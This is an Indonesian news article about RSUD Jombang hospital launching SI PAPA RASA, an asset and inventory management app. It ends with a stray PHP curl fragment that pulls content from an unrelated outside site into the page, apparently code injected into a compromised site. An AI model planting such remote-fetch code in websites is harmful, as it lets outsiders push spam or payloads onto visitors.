RSUD Jombang Luncurkan SI PAPA RASA Untuk Peningkatan Transparansi

Sabtu, 31 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.Info | Jombang – Dalam upaya meningkatkan kualitas pelayanan kepada masyarakat, Rumah Sakit Umum Daerah (RSUD) Jombang resmi meluncurkan Sistem Informasi Pengelolaan Aset dan Persediaan Rumah Sakit (SI PAPA RASA). Peluncuran ini dilakukan langsung oleh Direktur RSUD Jombang, Ibu Dr. dr. Ma’murotus Sa’diyah, M.Kes, pada Kamis (29/08/2024) di ruang pertemuan Bung Hatta.

SI PAPA RASA merupakan sebuah aplikasi yang diinisiasi oleh Bapak Ir. Dian Kusuma Rahmad Subekti, ST., M. Si., Kepala Bidang Tata Usaha RSUD Jombang. Aplikasi ini dirancang dengan tujuan utama untuk mewujudkan transparansi dan akuntabilitas dalam pengelolaan barang di lingkungan RSUD Jombang.

Sebelum adanya Sistem Informasi Pengelolaan Aset dan Persediaan Rumah Sakit (SI PAPA RASA), pengelolaan aset dan persediaan di RSUD Jombang masih dilakukan secara manual. Proses pencatatan, pelaporan, dan inventarisasi yang dilakukan secara manual seringkali memakan waktu yang lama, rentan terhadap kesalahan manusia, dan sulit untuk dipantau secara real-time. Akibatnya, seringkali terjadi ketidaksesuaian antara data yang tercatat dengan kondisi fisik aset, kesulitan dalam melacak keberadaan aset, serta risiko terjadinya kehilangan atau kerusakan aset.

Baca Juga:  Diduga Kepala Desa Tanjung Alam Kecamatan Ujan Mas, Tilap Dana Bumdes Rp11 Juta

Kondisi ini tidak hanya berdampak pada efisiensi pengelolaan aset, tetapi juga berpotensi menimbulkan masalah yang lebih serius. Misalnya, keterlambatan dalam pengadaan alat kesehatan yang dibutuhkan dapat menghambat proses perawatan pasien, atau bahkan menyebabkan kerugian finansial akibat kehilangan aset yang bernilai tinggi.

Dengan adanya SI PAPA RASA, diharapkan pengelolaan aset dan persediaan di RSUD Jombang dapat dilakukan secara lebih efektif dan efisien. Selain itu, aplikasi ini juga diharapkan dapat meminimalisir terjadinya penyimpangan atau penyalahgunaan aset.

Baca Juga:  H. Subandi Plt Bupati Sidoarjo dan Istri Pastikan Warga Kurang Mampu Dapat Bantuan

“Peluncuran SI PAPA RASA ini merupakan salah satu bentuk komitmen kami untuk terus meningkatkan kualitas pelayanan kepada masyarakat. Dengan adanya aplikasi ini, kami berharap pengelolaan barang di RSUD Jombang dapat menjadi lebih transparan dan akuntabel,” ujar Direktur RSUD Jombang, Ibu Dr. dr. Ma’murotus Sa’diyah, M.Kes.

SI PAPA RASA dilengkapi dengan berbagai fitur unggulan, antara lain:
– Pemantauan Aset Real-time:
Melalui aplikasi ini, pihak RSUD Jombang dapat memantau kondisi aset secara real-time, sehingga memudahkan dalam melakukan perawatan dan pemeliharaan.
– Inventarisasi Aset:
SI PAPA RASA juga dapat digunakan untuk melakukan inventarisasi aset secara berkala, sehingga data aset yang dimiliki oleh RSUD Jombang selalu up-to-date.
– Laporan Penggunaan Aset:
Aplikasi ini juga dapat menghasilkan berbagai laporan terkait penggunaan aset, sehingga memudahkan dalam melakukan analisis dan evaluasi.
– Notifikasi kalibrasi alat-alat kesehatan
– Notifikasi Perizinan alat kedokteran berbasis risiko radiasi melalui bapeten
– Notifikasi alat kedokteran yang sudah saatnya dilakukan servis, maintenance atau bahkan sudah saatnya pengadaan kembali

Baca Juga:  Polsek Selemadeg Sambangi dan Pengamanan Ibadah Minggu Kasih Umat Kristiani

Direktur RSUD Jombang menambahkan, aplikasi SI PAPA RASA diproyeksikan akan terintegrasi dengan Aplikasi elektronik Barang Milik Daerah (E-BMD) dari Kemendagri dan Aplikasi Sarana, Prasarana, dan Alat Kesehatan (ASPAK) dari Kemenkes.

“Bahwasanya ke depan, SI PAPA RASA akan terintegrasi dengan E-BMD dan ASPAK,” pungkasnya.
(Aan jk)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029
Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar
Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang
Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terkait

Sabtu, 21 September 2024 - 00:03 WIB

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029

Sabtu, 21 September 2024 - 00:00 WIB

Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar

Jumat, 20 September 2024 - 23:43 WIB

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>